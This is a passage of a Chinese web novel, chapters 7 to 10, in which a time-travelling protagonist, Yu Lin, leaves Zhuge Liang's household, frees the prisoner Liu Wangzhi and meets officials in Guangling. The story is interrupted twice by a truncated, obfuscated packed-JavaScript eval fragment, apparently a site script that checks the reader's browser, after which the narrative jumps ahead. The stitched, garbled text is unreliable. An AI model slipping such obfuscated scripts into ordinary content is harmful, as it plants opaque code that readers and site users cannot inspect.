《混在三国当武将》 7. 第 7 章 (修) 虞临的大脑极罕有地迎来了一片短暂的空白。 他飞快地瞥了眼惨死当场的木棋子,眼里流露出了极为明显的难以置信。 是了。 这两枚棋子并不是耐高温和击打的轻量合金材料制作的,只是经过简单处理的木块。 虞临轻轻抿唇,破天荒地感到了一丝无措。 在一片意味不明的死寂中,从未有过类似经历的他根本不知道自己该做出什么反应比较好。 他现在的情况是……不但在没有付出任何报酬的情况下读完了诸葛亮的珍贵藏书,还弄坏了对方的漂亮棋子。 本能地将罪魁祸手的拢回宽袖,虞临看向正眼睛大睁地看向他的诸葛亮,语气僵硬地承认了错误:“抱歉,孔明。” 可惜另外三人在将他刚刚一连串的神态变化尽收眼底后,也彻底从震惊里缓过了神。 然而他们非但没能体谅他此时颇感手足无措的心情,反而齐齐爆发出了毫不客气的大笑声。 崔钧与诸葛亮的笑还算含蓄,只是一个以拳抵唇、轻咳着错开视线;一个低头掩饰唇角上扬的弧度,肩头微耸;徐庶则笑得最为猖狂。 “妙哉子至,至哉子至!” 他首次没感到那冷视的威慑力,不但笑出了眼泪,还夸张地滚在了地上,双手握拳,不断捶地:“真子至也!” 虞临:“……” 能感受到友人们的笑声并无恶意,但这丝毫无助于缓解他此时的如坐针毡。 有什么能在这时候用的典故? 可惜虞临在脑海里检索一周,也只找到“夫子何哂由也”这不伦不类的一个。 直觉偏偏告诉他,如果真问出口,极有可能是抱薪救火。 彻底无计可施的他捏了捏拳,到底忍住了想给对方武力止笑的冲动。 “诸位尽兴,改日再叙。” 虞临紧抿着唇,面无表情地起身,最终选择自己退出了堂屋。 还顺手将房门给关得严密,仿佛这样就能彻底隔绝掉里面的笑声。 反正,不论是缺少两枚棋子的严酷现实,还是从震惊里缓过神来的友人们或是忍俊不禁、或是不顾形象地捧腹大笑——都意味着这神来一笔不但杀死了对手的棋子,也终结了今晚的弹棋友谊赛。 不过,徐庶脸上的灿烂笑容,在翌日辰时,就随着虞临的话彻底消失了。 就如诸葛亮隐约预感的那样,虞临静静地等到友人们停箸后,正式向他辞行。 暂住到底只是暂住,纵使不清楚虞临具体身世,他们也由衷认定他有鸿鹄之志,因此心下不舍,也不好开口挽留。 只是听虞临道隅中一过便要动身,徐庶不禁纳罕:“子至该不会又要往雒阳去吧?” 经过这一个多月以来的相处,尽管他们心知虞临勇健傲群,绝非匹夫所能挡,也依然为友人感到担心。 “幸得诸位臂助,已无此必要。” 好在虞临很快否认,叫他们松了口气。 诸葛亮直截了当地问:“不知子至与我等作别后,欲往何处去?” 虞临也回答得爽快:“我欲先谒见刘荆州,若他亦非明主,便一路东向,往淮扬一带去。” 他直觉眼前几位不会对被他列为下一位备选主公的孙策抱有好感。 为了防止被长篇大论地劝说,索性不提了。 果不其然,光是前半截话一出,三人皆微微一怔,旋即神色变得有些微妙。 诸葛亮丝毫不看好此事。 其实,他过去虽瞧不上这位荆襄之主,但也多少感念这份庇护之恩,极少对外发表负面意见。 但既是私底下,又实在不想眼睁睁看着虞临跳进这个泥沼,这会儿的点评便显得毫不客气了。 他皱着眉,直截了当道:“刘表虽好养士人,却不擅听从谏言,空有良策不用。且表历来重名不重才,子至才学兼备,却唯独缺了那虚名。照如此看,即使得了征召,恐怕也难有出头之日。” 在他认为,刘表若是有眼无珠,完全错失了虞临也就罢了。 更坏的情况,是刘表喜虞临姿颜风仪,选择以微末职位相待,叫虞临在庸庸碌碌中空耗时间…… 诸葛亮的眉头越拧越深。 ——那才真叫明珠暗投,令人痛心疾首。 见诸葛亮犀利唇锋直指刘表,本还想矜持含蓄一点的徐庶,顿时被惊了一跳。 他虽早同崔钧说过,孔明极其看重子至,可如今看来,还是太低估了:朝夕相处不过月余,竟已推心置腹至这种境地了。 他稍稍咋舌一下,便紧随其后,发表了自己的真实想法:“孔明所言极是。况且,观刘望之近日所遭之祸,便足以知晓刘表外宽内忌,深憎忠直之言,使忤逆者受灰灭之咎。” 诸葛亮还补充了句:“以子至之率直心性,只怕入职不过三日,便要受——” 听好友越说越不带遮掩,徐庶不好直言提醒,忍不住咳嗽出声:他是知道孔明一旦过于忧心某事,话便会琐碎的习惯的。 诸葛亮这才抿了抿唇,收回了没说完的话。 一直沉默的崔钧,这时忽然开口了:“表看似雄踞一方,自以为趁二虎象征坐收那渔利,实则有厝火积薪之危而不自知。” “论其资质,不过偏安一隅之庸主而已。” 说到这里,崔钧抬起眼帘,探究地盯着神色毫无波澜的虞临:“以子至鉴识之能,绝不难以分辨,却仍要投身其中。许另有远图?” 虞临答得不假思索:“自是因这荆地田土良沃,适宜耕种。” 对于刘表的资质,他的要求其实并不算高:只要能意识到劝农的重要性,再辅以及时择边站队一方、立下大功就好。 他毕竟没有亲眼见过刘表,并不似友人们悲观、一心认为对方无药可救。 虞临乐观地想:或许,刘表是内慧藏拙,以刘望之之事麻痹士林、也迷惑暗中窥探的敌人……实则的确自有打算,只是在等一个时机的到来呢? 他在荆州住了这么久,越是清楚这边的农耕条件很是优越,就越不舍得因刘表而放弃此地离开。 在开发度远远不足的情况下,荆襄已然喂饱了那么多人口:足见其大有可为。 而且近年来荆州避难的人多,劳动力可谓空前充足。 只要能顺利得到荆州牧的支持,虞临真心认为,这片沃野可谓潜力无限。 兵因食足而强。 只要利用好这里的自然条件,确保后方粮草充足,再招兵买马,便大有机会问鼎天下——再不济,也能靠输送粮草,支援官渡交战某方的方式,保下自己和荆州百姓。 诸葛亮与徐庶听得忍俊不禁,崔钧的眼则一下直了。 他面部表情的变化,堪称精彩纷呈,也不知信还是没信。 虞临并未多做解释,他也没有追问,只是叹了口气,忽然改了话锋:“有言道‘不闻不若闻之,闻之不若见之。’子至欲求眼见为实,亦是正理。” 崔钧多少摸索出了虞临在某些方面极其务实的性格特征,索性投其所好:“只是,诚如孔明先前所言,表好名轻才,子至固非恒人,表却无从得知。倘若贸然登门,难免受些怠慢,未免不美。” 他提议道:“不若,子至将名谒付我,再由我代呈于上?” 品味出向来怀闲云野鹤之志的崔钧的维护之意,诸葛亮与徐庶不由得对视一眼。 逢此四海分崩之时,多数世家子弟被迫远离故土,沦为天涯羁旅之士。 虞氏门庭似乎已然冷落,有颇具盛名的博陵崔氏之子崔钧亲自出面,代为转交木谒做保,总能叫刺史邸处的门客高看一分。 若是顺利,甚至可能寸步不出,只在家中高卧,也能得到礼辟。 虞临哪里知道,他们已经在背后给自己圆出了一个陈国或陈留虞氏子的背景,甚至已经对此深信不疑。 但他能清楚地感受到崔钧的善意。 “多谢州平美意。”认真地考虑过后,虞临还是谢绝了:“只是,若刘荆州连屈尊接见且不愿,日后岂会用我所谏?如此资质,岂配为我主。” 他口吻平淡,却无处不透着股浑然天成的傲气。 无论是这话语还是态度,都正中诸葛亮的喜好。 “正当如此!” 他看向虞临,情不自禁地露出了笑容。 见崔钧还想再劝,虞临只好将新学的典拿了出来:“况我明知州平怀抱德肥遁之志,又怎好扰鼋鼍于深渊?” 崔钧这下便不好说什么了。 见虞临心意已定,诸葛亮三人遂不再多劝。 只是在临出发前,虞临的木谒还是被他们设法要去一观。 崔钧嘴角微抽,尽可能委婉地提醒道:“子至这名谒,似乎写得过于简略了。” 只有姓名表字和简略的“问起居”也就罢了,怎么连重要的籍贯都忘了写? 徐庶也是眉头抽动,表情略微扭曲:“恐难叫刘使君见纳。” ——除非虞临亲自上门,有那身见者即知非凡的仪容做保,否则这名谒连幕府大门的仆役那关都难过去,更别说呈于刘表面前。 诸葛亮则道:“此书雄逸绝伦,足以应付刘表。” 徐庶的脸色有点发苦。 字的确写得好,可关键是,整份名谒上,也就剩这手字是出彩的了。 “唔?” 徐庶一怔。 由于虞临写于名谒上的字数实在少得可怜,他粗粗一扫,只觉得这手八分隶方笔峻整,颇有凝重严正的风骨。 现得孔明的高度评价,他再仔细端详品评,便察觉出了之前忽略了的一点。 他于书法一道虽不过粗通,却也得见过好些名家之作。 他凝神细看一阵,难掩惊艳道:“我观子至书之笔触,颇具师宣官之流韵。” 诸葛亮欣然纠正:“非也,依我看,更类梁尚书之玲珑。” 梁鹄之书源自当世一绝之师宣官,其八分隶青出于蓝胜于蓝,现已自成一家,堪称辉玉绝伦。 崔钧也登时被提起了兴致,拿起来仔细端详,同二人就梁鹄与师宣官所书之异同热烈探讨起来。 虞临:“……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等终于来到州牧宅邸附近时,他的面色看似平静无波,实际上光是记人名籍贯和长相,都已经有些麻木了。 崔钧敏锐地察觉出了他隐隐流露出的疲倦,顿时忍俊不禁:“今日有幸与子至同行,方知何为无众星之辉,假曒日之明。” 他人缘固然不错,但平日里主动向他打招呼的,可远远不及今日之多,更遑论大多还与他交情不深。 那些人现却一改矜持冷淡,主动向他攀谈,其真正目的可谓不言而喻。 知道他大概是在隐喻什么,虞临投去疑惑的一眼。 崔钧兀自笑了几声,却未解释,而是慢悠悠地打起了哑谜:“就如羲和不见阴翳,朱阳不识玄阴……” 虞临耐心听了几句,仍觉云里雾里。 但这不妨碍他觉察到崔钧是在有意逗趣,便不再凝神细听,径直打量起了街道上的情景。 不等得出什么初步结论,源自州牧邸所坐落的街道处传来的骚动,就引起了他的注意力。 崔钧皱起眉头,到底是长期在外游学、见惯动乱的人,对此的第一反应便是一手按住腰间佩剑,紧接着带着虞临先躲进一边的商铺,确保自身的安全后,再让随从前去探听情况。 杂乱的动静越来越大,随从很快就打听好消息回来了:“回郎君,前方登门闹事者,为南阳刘氏之门客。” 崔钧微愕,神色旋即流露出一抹了然:“定是为了望之。” 素叫南阳刘氏引以为傲的嗣子刘望之遭刘表派兵拘捕、身陷囹圄之事于荆州士林可谓人尽皆知,皆感震怖,他亦不例外。 眼看着主君分明燕居在家,却无罪受拘,身恐有被枭悬之诛,其座下门客必然无法袖手旁观。 崔钧叹了口气,对官场愈发厌恶。 ——只是如此一来,更将触怒心胸狭隘的刘表,于刘望之自身的处境非但无异于抱薪救火,其家族恐也难逃牵连。 不论是他或是诸葛亮、徐庶二人,都与刘廙交情不错,曾为其兄长刘望之受拘之事频频奔走。 见士人纷纷请愿,反而叫刘表愈发忌讳,更不愿放人了。 无奈之下,众人只得先行散去,只留刘廙自行疏通上下,设法求情。 崔钧知晓刘廙向来谨慎虑深,今日应是刘望之门客自发之举。 但在本就猜忌心重的刘表眼中,恐怕都要成刘廙的有意驱使,再转为刘望之的又一则罪状了。 “还请子至在此处稍待片刻。” 心绪挣扎一阵后,崔钧还是决定在事态进一步恶化前出面制止,至少有他出面,能将这些进一步将主人往死路上推的忠仆劝回。 只是刘表倘若事后有意清算,恐难免凶险,他不愿将友人牵扯其中,便轻描淡写道:“子至不必担心,某去去便回。” 虞临却微微摇头。 他漫不经心地抚了抚悬于腰间那朴实无华的长剑剑柄,神色泰定,语调轻缓道:“还是由我代州平去罢。” 8. 第 8 章 初来乍到,虞临并不热衷于惹事上身,尤其还是在情况不明的情况下。 但也从不怕惹祸。 他不太懂什么人情世故,但说到如何制造事故,还是挺精通的。 听完崔钧与仆从的对话,再观其神色纠结,他便觉得自己报答三位新友善意的机会来了。 不论三人燕居不出的缘由,究竟是真怀箕山之志,还是美玉待价而沽,只要短期内未有起家之心,都不适合与于荆州势大的刘表起正面冲突。 倒是无牵无挂,尚为无名氏,武力方面又刚巧尚可的他很合适。 “什么?” 崔钧当然是不同意的。 确切地说,在听到虞临云淡风轻下提出的荒唐提议后,他错愕之余,只觉感动:“子至莫要说笑,你——” 话刚启头,他只见虞临神色淡淡地向自己迈了一步,旋即颈后刚有一丝疼痛感袭来,眼前就彻底黑了下去。 虞临将瘫软下来的崔钧扶住,很自然地推给了一旁呆若木鸡的仆从,一本正经地交代道:“记得将你家郎君的衣物弄得脏乱些。” 他早料到,以崔钧的磊落为人决计不会同意。 况且刚刚一路行来,人多眼杂,见到他与崔钧同行的人已有不少。既要想办法将他摘出去,又要免得他跟自己推辞来推辞去的引人注目,还浪费时间。 还好目前并无人知道他与诸葛亮、徐庶的交情。 等刘表事后追查他的身份,得知崔钧亦被他蒙骗且所伤这点,应能让这位之前并未惹恼过荆州牧的名门子弟安然无恙。 说完,他便大步流星地走了出去。 看着上一刻还相谈甚欢、下一刻就毫不犹豫地出手击晕自家郎君的虞临,两名随从早已瞠目结舌。 小心翼翼地搀着昏倒的崔钧的那人不好动弹,另一人下意识地追出几步,就被那道冷淡的回眸给摄住,不敢再迈步了:“虞君,这是何意!” 只是一眨眼功夫,他就已经见不到对方的身影了。 ———— “……虞君,可乎?” 刘望之重复征询的声音,终于唤回了虞临的心神。 他微微一怔。 或许是暖风送酒香、暖烛醉人,又或许是日夜兼程的疲惫,即使自己对酒精抗性极高,刚才居然难得地神游天外了一下。 刘望之眼巴巴的,又问了一遍:“虞君?” “可。” 虞临并没有听到刘望之刚才问了什么,考虑到对方不可能对自己提出无理要求,索性顺势应了。 便见对方欢喜地唤了自己一声“子至”,紧接着召来仆役,仔细交代今夜正式设宴的事。 虞临于是后知后觉,对方原来刚刚是询问自己可否以表字相称。 刘望之现在能好端端地坐在这里,那日他代崔钧出面的结果就已显而易见:由于他同对方素未谋面,凭一柄剑孤身杀到府牢中后,为防疏漏,也是出于扰乱追查者视听的目的,干脆将里面关押的那十几名犯人全都放了。 他倒不是故意扰乱社会秩序。 真正作奸犯科的早叫都尉或县尉拿下了,能有资格关押在这幕府重狱、体态上又偏于柔弱的,大多是因政见不和才遭到迫害。 刘望之能顺利举家逃出,足见他那在外替他没少奔波求情的弟弟刘廙早做好了各方各面的准备,并怀有为保住哥哥性命、暂时放弃荆州一切经营的决心。 手足如此情深,可见家风不错。 虞临只有点遗憾,自己打破了一贯“无论如何要亲眼见上对方一面再否决”的原则,始终未能同刘表正式打上照面。 更让他惋惜的,是那富饶荆襄。 不过按照刘表如今的架势,久安也是奢望罢了。 虞临在心里精明地计算了一下。 能让崔钧等人为刘望之的安危奔走,可见交情颇为深厚,那他帮刘望之脱困,应该能抵掉帮着修葺名刺所欠下的人情了。 至于孔明的…… 无论是被他无意中损坏的那套弹棋,还是供他吃住了一个多月,又无偿提供大量书籍查看的恩情,暂时只能继续欠着了。 刘望之手舞足蹈地反复描述当日情景,表达自己的感激涕零,虞临就光明正大地走着神。 “我为州平亲故。观州平为望之之事心急如焚,不惜以身犯险,我自不可坐视不理。当日主要是为州平解烦,望之着实不必多谢。”虞临已经不记得自己是第一次这么解释了:“况望之得以脱困,实是贤弟救援及时,我实在不敢居功。” 只是每当他指出这点,都被刘望之那神奇的思路翻译成了另外的内容。 他感佩为心存谦柔,弘毅而不居功,雅量高致,砥砺清节……总而言之,虽古之英士,何以远逾哉! 回数一多,被美言彻底淹没至词穷的虞临也有些麻木了。 ……罢了。 虞临配合地举樽小饮,表示请对方随意。 刘望之浑然不差虞临方才走神,高兴地解释道:“舍弟廙,有幸得府君看重,得辟为从事,方未能及时相迎。我已遣仆去信衙署!待日暮鼓鸣,恭嗣散衙归家,必喜见子至。” 实际上,南阳刘氏子的才名与家族声望具都在外,对平民如隔天堑的州府从事职务,不过是他们仕途的起点罢了。 同时受到征辟的,其实还有刘望之。 只是他心中仍对任刘表从事而惹上杀身之祸一事惊魂未定,唯恐再度身陷崄巇之中,自不肯应。 真要他说,他反而诧异于弟弟会爽快应承,投身此时并不被诸人青睐的曹营。 在等刘廙归家、宴席开始前的整两个时辰,不知刘望之是本身能言善道,还是对救命恩人谈兴正浓,又或是单纯出自礼仪、担心虞临感觉受到冷落,亦或皆有之——即使虞临始终鲜言寡语,他也滔滔不绝。 待刘廙归家时,看到的就是自家哥哥激动地围着救命恩人说个不停的画面。 他落在虞临脸上的视线稍凝,再看着与平日里的傲气截然不同的兄长,不禁有些无奈。 罢了,也不好苛责兄长失仪。 他昔日忙于四处奔波,绝望地为恐要难逃死劫的兄长运作,也因此未能亲眼目睹这位虞君仅凭一人一剑于幕府闲庭漫步,义然释囚,当即震悚荆州的巍然壮举。 兄长却是亲身获释,于对方那三尺雪锋下自死由生的。 自那日起,他听得最多的便是兄长的叹息和狂热推崇。 既叹对方那惊才绝艳的剑光,叹那胆略兼人的侠气,叹那濯鳞清流的从容,再叹那飞翼天衢的闲雅。 “此君……真神人也!” 这是刘望之逃出生天后,对欣喜若狂的弟弟所说的第一句话。 哪怕是在混乱无序的出逃期间,他也不忘冒险派人打探恩人名姓。待稍稍得了消息,更是不顾希望渺茫,也在各地留下那日曾有幸见过虞君容貌的仆从等待。 不料上天赐福,还真让兄长盼到了这日。 刘廙的视线又不由自主地落到了虞临身上,心头微动,下意识地赶在对方注意到前移开。 ——不过,如今的他再不怀疑那或许是兄长的美声溢誉、有过其实了。 “愚姓刘名廙,字恭嗣,今日终于得见虞君,实是毕生有幸。”他恭恭敬敬地向虞临行了极正式的一礼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他从无挟恩图报之心,但遇到对方硬要报答、为他行个方便的话,他也不会拒绝。 “举手之劳,当不得子至相谢。”刘廙的酒量自然不能与拥有强大抗毒性的虞临相比,觥筹交错间,虞临连脸色都不曾有过丝毫改变,他的目光则已经有些涣散了:“只是……” 他踌躇片刻,还是在酒劲催动下,直接问了出来:“还望子至莫怪廙亲狎。不知子至,可有于曹营仕官之意?” 刘望之亦是眸光微动。 虞临话极少,却清楚地透露出了“君贵审才,臣尚量主”的意向。 在察觉到虞临并非怀长沮之志、一昧抱珍自守,而是有着名臣择主而事的起家之心后,刘氏兄弟的心思便活络了起来。 他们绝非有意以此微小帮惠了解这份恩情,恰恰相反,是想设法将这份单方面的救命之恩顺势加深一步。 无论是会稽或陈国虞氏,已数十年未出官至高位之英杰,虽仍为名门,却不被视为著姓。 当然,以虞临之神采气貌,任何人都绝不至于等闲视之——只是闻名到底先于闻面,不可否认的是,虞氏子不以名声素著,若仅是寻常递上名刺求仕,只怕要令潜龙卧于浅滩,同些庸碌的池中物空耗好些时光。 若能得郡从事刘廙的大力推举,再由同南阳刘氏亲善的士族中名士从旁恰到好处地予以佳评,甚至还可由他们派人为虞临造势扬名……结果便大为不同。 虞临却毫不犹豫地拒了这番暗示:“暂无此意。” 9. 第 9 章 月华如练,夜露渐浓。 宴毕,偌大宅邸重归静谧,唯闻蝉鸣。 虞临躺在由仆婢精心布置过的宽敞客房的大床上,凝视着承尘上的精美刺绣,却是毫无睡意。 不知过了多久,忍无可忍的他还是坐起身来,循源找到正不断散发出复杂的混合香气的香炷,然后挪到了窗外。 他嗅觉极为灵敏,多年来之所以能忍受丧尸群散发出的恶臭,主要是因为习惯了。 ——这不代表,他能在这种馥郁浓烈的人制香下安然入睡。 最浓郁的香源被他移走了,可居室里残存的香气仍然久久不散,持续地刺激着他远超常人敏感的嗅觉。 虞临难得地有些烦躁。 他很快意识到,不光是连自己所盖的被褥芯里也沾满了熏被香,连他所枕的这枚陶枕也未能幸免。 香料稀有且昂贵,尤其在颠沛流离的乱世中,更是价比黄金的奢侈物。 刘氏兄弟却命人将整间宽敞的客卧熏成了一座花园,不可谓不用心,也不可谓不重视——唯独没想到虞临对这种优待简直避之唯恐不及。 毕竟在他曾经长期生活的环境中,敢在嗅觉比视力灵敏百倍的丧尸面前使用这种香料,简直同自寻死路没什么区别。 睡是睡不着了,不过对基因经过优化,已经将睡眠时间进化到三小时之内的虞临来说,少睡一晚也毫无影响。 他没有在床上躺着浪费时间的习惯,在确定自己无法在这种环境里入睡后,索性起身,悄无声息地打开了窗户,在不惊动任何守夜奴婢的情况下直接翻上了屋顶。 天上星河浩瀚,他步履轻盈地踩在青瓦上,如拥有柔软爪垫的花豹般没有发出一丝一毫的声响。 身形亦在呼吸间自然地避开了静谧银霜,彻底融入到稠密夜色之中。 底下仍偶有仆役来去,不时有抬头观月者,始终未有人察觉到他的身影。 虞临原本也没有明确的目的地,只是睡意全无下心血来潮的夜游。 等他百无聊赖地凝望了一阵朦胧新月,忽然想到可以去府中曾豢养之观气士所用高台一逛,看能否更好地俯瞰城中情景。 这所宅邸将高台设于东南角,毗邻隔壁宅院,真要沿小径而去,距他所居之客舍颇有一段距离——同直接飞檐走壁过去的效率,自然不可同日而语。 待虞临信步而至,台中果然空无一人。 即使伫立于高台之上已足以睥睨周边低矮住宅,他尤嫌不够,三两下就轻盈地登上了位于台子最高点的小亭顶。 彻底居高临下后,他终于感到自在了。 不比士族大户那通宵达旦的华烛,也不似城外流民那朝不保夕的落魄,城中蒸庶过的不说捉襟见肘,也只是布衣素食、狭室无甚余财的普通生计。 多是日落而息,无要事不点灯。 是以虞临朝四周望去,城墙以内除他所在的这一小片大院豪居仍明亮外,鳞次栉比的矮小民宅具被沉沉夜幕吞噬,只偶见微光半盏,远不抵天上漫星万千。 他正默记城中地形时,就被隔壁宅邸传来的说话声吸引了注意力。 由于双方相隔甚远,又有院墙阻隔,即便是以他的过人耳力,也只能捕捉到徐徐晚风送来的只言片语。 再凭那才经过恶补的文化水平,唯有少数勉强能被拼凑成可供连蒙带猜的句。 真正引起他关注的,是其中一道声音,于他而言很是熟悉——是属于刘廙的。 与刘廙对话者听着是位年轻男子:“若真如……雅度……贞实……还望引见……” 吹着清爽的夜风,虞临漫不经心地听着。 他起初还想,既然提到了‘引见’,对象又是刘廙,这说的会不会是自己。 但联系到之前的“雅度”、“贞实”等词,又属实觉得与自己毫无干系。 刘廙具体答了几句什么,因声音太轻,叫虞临未能听清。 只闻那人沉吟片刻后,又开口道:“时……猘儿……按兵……多日未……援……” 又有道陌生的中年男性的声音:“封豕……恶暴……” 那人轻蔑地哼了一声:“狸埋……掘之……定有诈……” 听了好一阵后,虞临渐渐感到有些无趣了。 既是疯狗又是野猪,还有狐狸的……是这附近哪里闹兽患了吗? 随着无聊感上涌的,就是难得的睡意。 虞临正准备离开,却忽然又听到了另一人的声音。 方才一直未曾言语的这人并未大语,语调堪称十足的温文尔雅。 却让虞临感到耳廓莫名发痒,鼓膜被带得微微振动。 他本能地揉了揉耳,才适应了那道清晰可闻的低音:“宜遣使相问。” 对方此话一出,另三人纷纷附和,好似已经尘埃落定了。 ——这难道是在说孙策么? 虞临突然福至心灵,如此猜测。 他稍晃了下神。 这就是这一走神的功夫,多年来千锤百炼出的战斗本能,便抢在理性之前发挥了作用。 “啪沙。” 虞临缓缓地眨了下眼。 他低头一看,手里已经多了一只明显对他的存在一无所察,才刚扑棱了几下翅膀、就大意地被他一下擒住、甚至连惨叫声都没来得及发出来的倒霉鸽子。 虞临:“……” 忽然落入透出无比恐怖气息的猎食者,它后知后觉地睁着绿豆大的眼睛,连腹部的绒毛都炸开了,浑身都极其明显地瑟瑟发抖,却一声都不敢叫。 虞临垂眸,有些无措地与这个小东西对视了一眼。 ——“刚才好似有什么动静?” 屋里有人如此说。 虞临当机立断地放走了鸽子,飞速按原路返回了自己的寝室。 此时已过夜半,万籁俱寂,除了被安排在门口守夜的婢女,府中众人具已安歇。 虞临吹了一个多时辰的晚风,又经过那么个小插曲,自己身上那点萦绕不去的浅淡酒气已彻底散了,客卧里残存的旖旎熏香也被敞开的窗户带走了大半,余下的终于不再那么难以忍受。 就在他重新躺下,准备睡上一两个时辰时,门外走廊上却传来一道带着几分凌乱和沉重、显然是醉了酒的脚步声,还伴随着仆役不安的小声劝诫。 他静静地等待着,有倾,便闻门外一道微醺低沉、意识朦胧的声音:“子至,汝已安寝乎?” 是刘望之。 虞临:“……” 看来,自己今晚是真的不用睡了。 待到酒宴一过就被紧急召集、前往广陵太守府去议事的刘廙归家,已是平旦之末。 当他听局促不安的仆从道他那醉酒的兄长半夜去寻已然就寝的客人说话,现在仍不愿就寝时……本就因熬夜 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“若府中有藏书之舍,”他直截了当道:“不知可否劳烦恭嗣代临走上一趟,取书几册,借临一观?” 刘廙身为郡守从事,书房中自是贮有机密,因而虞临并未要求进入书房,只请刘廙取来些他不曾读过的书籍,来打发一下等待所需的这一两天。 刘廙自无不应之理。 他哪里知道虞临的文学基础只不过刚打了个地基,切实是对他的藏书颇感兴趣。 他理所当然地认为对方识透人情,才故意抛出件于他而言不过举手之劳的小事来揭过今夜。 又深深钦佩虞临手不释卷,好夜思经传之姿,真可谓沉深好学、孳孳不倦——也愈发坚定了要尽快将虞临引荐于太守陈登的心思。 刘望之闹腾了一晚,在辰时睡下,直至日昳方醒。 宿醉带来的头疼欲裂自不用提,在意识到自己醺然下到底对虞临行了何等荒唐事后,他当即吓得面如白纸,连履都顾不穿,径直狂奔至中堂。 见虞临神色安然,一派专心读书的闲逸沉雅之姿,心神才稍稍定下。 “子至啊!!!” 他大喊一声,情感充沛得几要当场落泪。 继“子至亦未寝”后,虞临又应付了他好一阵,才叫刘望之真正平静下来。 虞临原以为要如刘廙所言那般,在对方带走自己名刺代为呈上后,至少需等上两日。 殊不料这日哺食未至,便有仆役恭敬来请,道是功曹陈矫有请,望他愿至宅中一见。 虞临于是放下手中这册读了大半的书,又婉拒了过度热情地要陪同的刘望之,随仆步行至距刘氏子居所不过百来米远的陈宅。 行至中途,他与一辆疾驰而过的车擦肩而过。 他并未注意乘客的模样,只将观察重点放在了这种之前没有见过的车子上:制式大致形同最常见的轻车、但在车轮顶部却装有两面方形车耳,且有一面被漆成红色。 他很快忆起书中所读过的内容:轓车具车耳,一侧为朱色,则车中所坐之人,必是六百至千石之官吏。 不过这辆车最初会引起他的注意,还是那连被滚动车轮掀起的扬尘都无法掩去的一缕馥香。 以及……对方好似向他投来了一眼。 虞临的面上无波无澜。 ——连那么短暂地擦身而过的功夫都能闻到,看来又是一位熏香的深度爱好者。 10. 第 10 章 “谦谦君子,于嗟麟兮。” 车轮滚滚,街市上又嘈杂不堪,以至于车夫在听到后面的贵人轻声发出的感叹时,起初只以为是自己的错觉。 但他之所以能被派来为这位都城高官驾车,靠的就是这份谨小慎微。 因此,在短暂地迟疑过后,他还是稍稍减缓速度。 待到行人较少的地方了,他停靠一旁,忐忑地回头询问道:“敢问令君,适才可有吩咐?” 这位贵人此时显然还有些心不在焉。 听出车夫语气中的小心翼翼,他回过神,不疾不徐地收回往后看的视线,温声道:“无事。” 经那惊鸿一瞥,他方知何为“有匪君子,如圭如璧”。 的确动过让车夫调转车头、回去仔细问鉴那人的心思。 只是理智到底制止了这一点。 他身上事务繁多,不好在广陵多加耽误。 且如此仓促,也未免太过失礼,恐使对方不快。 尽管说服了自己,他仍难掩遗憾,轻叹了一声。 ——若是他所料不岔,应不必急于一时。 虞临被仆从引至陈矫所中堂,那袅袅残香变得稍稀浅了些。 显而易见,刚乘车离去的那位,便是陈矫邸的上一位客人。 虞临静静正座,内心安平如镜。 平心而论,比起昨晚他客卧中那明显过犹不及的刺鼻熏香比,这丝丝缕缕的残香显得恬淡沉静,深邃清幽,倒难得地不令他反感。 不过。 虞临的视线落在一旁。 真正让他有些在意的,是隔了整整三道屏风之后,有一人正隐身其中。 除了被重重阻隔后显得极细微的呼吸声外,藏身者并未发出任何多余声响,但仍然躲不过他的耳力。 虞临漫无边际地猜测着:这究竟是凑巧,还是对方想试探自己什么? 如果是试探他的定力的话,他只需要视而不见;要是意在测试他的听觉,那他就应该一语道破对方身份;如果是为了检测他的武勇安排的假刺客,他就应该悄无声息地将对方从屏风后揪出来,再梆梆给上几拳…… “若虞郎喜爱此香,某可去信,待征得令君之允,便将此香香方抄录一份,送予虞郎。” 宅邸的主人从外入内,看出虞临似在愣神。 他浑然不知姗姗来迟的自己,到底是及时赶在了对方付诸行动前。 他笑着捋了捋须,委婉地提醒对方、自己已然来到。 “陈国虞临虞子至,见过陈功曹。” 虞临神色从容,起身行礼。 这道声音无疑十分耳熟,他一下就认出是属于昨晚那段对话里曾出现的中年男性的。 原来对方便是深得太守陈登看重的郡功曹陈矫。 “功曹之盛情,鄙人心领,愧不敢受。敢问令君是?” 仍对别名、称号、官职和表字混谈的风气感到不适应,虞临下意识地回问了一句。 刚问出口,他就自知越线,准备道歉。 不料陈矫笑了笑,却是爽快做了答:“说到令君,所指必是那位颍川荀令君,荀文若。” 虞临于是领会到,“令君”非是对方表字或称号,而是某种具备唯一性的官职。 按照他近期恶补的背景知识,对方应该是朝中尚书令,姓荀。 在脑海中姑且给那位“荀令君”打上了爱用熏香的印象后,他便将对方抛之脑后,仔细思忖陈矫这透露这些信息的用意。 即使他曾对刘望之施以恩惠,可南阳刘氏本身才至徐州不久,在刘廙被辟为郡府从事的情况下,至多算是尚未站稳跟脚的寄寓望族,所拥有的影响力相当有限。 陈氏却是于广陵声明素著的望族。 陈矫早年南下避乱时颇经历了一番颠沛流离,始终不愿受袁术、孙策所用,返郡后立受广陵太守陈登辟,请为功曹。上任不久便因郡遭孙策军之围,受太守令说于曹营,并顺利求得援兵,于广陵可谓居功甚伟。 即便刘廙大力举荐过自己,其言语份量应也十分有限。 这便很难解释作为广陵郡守所倚重的左臂右膀的陈矫,会愿意在百忙之中专程拨冗接见,并且看似毫不在意地透露了“本该坐镇于许之荀令君,亲身至广陵”的军事机密。 思索一阵后,虞临并未得出什么可靠结论,料想是缺少了一些关键资料,便不去多想了。 陈矫悠然开口:“虞郎良苦,于陈国远涉广陵。不知斯土之景,可还合乎心意?” 他并非是头回这么做了。 